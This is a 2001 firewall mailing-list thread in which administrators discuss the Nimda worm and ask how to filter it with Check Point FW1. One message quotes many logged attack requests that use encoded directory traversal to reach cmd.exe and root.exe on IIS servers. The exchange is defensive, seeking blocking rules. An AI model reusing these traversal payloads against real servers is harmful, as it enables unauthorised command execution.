Maybe this will help?
http://www.cisco.com/warp/public/63/nimda.shtml
Good luck.
|--------+---------------------------------------------->
| | "Joe Pampel" <[EMAIL PROTECTED]> |
| | Sent by: |
| | [EMAIL PROTECTED]|
| | kpoint.com |
| | |
| | |
| | 09/20/01 10:44 AM |
| | |
|--------+---------------------------------------------->
>---------------------------------------------------------------------------------------------|
|
|
| To: <[EMAIL PROTECTED]>,
<[EMAIL PROTECTED]> |
| cc:
|
| Subject: Re: [FW1] New worm on the road?
|
>---------------------------------------------------------------------------------------------|
That's the NIMBA worm.. I've been trying various resource filters but no
luck yet. Had well over 3 million log entries so far *today*.. an avg month
for us is ~30,000. (I'm stopping it with a more blunt filter for now..)
If I get a good rule working I'll post it up, and hope others will do the
same.
Regards from NYC,
Joe
>>> "Patrick Coomans" <[EMAIL PROTECTED]> 09/18/01 05:35PM >>>
Since this evening I am experiencing massive attacks on HTTP (IIS oriented
I presume) from many different IP addresses.
They all look like:
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET /scripts/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Is anyone aware that this is some new kind of worm?
Now my FW1 question: can I create a HTTP resource (secure server) that
blocks all requests that e.g. have a .EXE in it ? Or would that slow my
FW1's down to much?
Any other suggestions for good products that can do HTTP content inspection
and that cooperate or can co-exist with fw1 ?
Thanks,
Patrick
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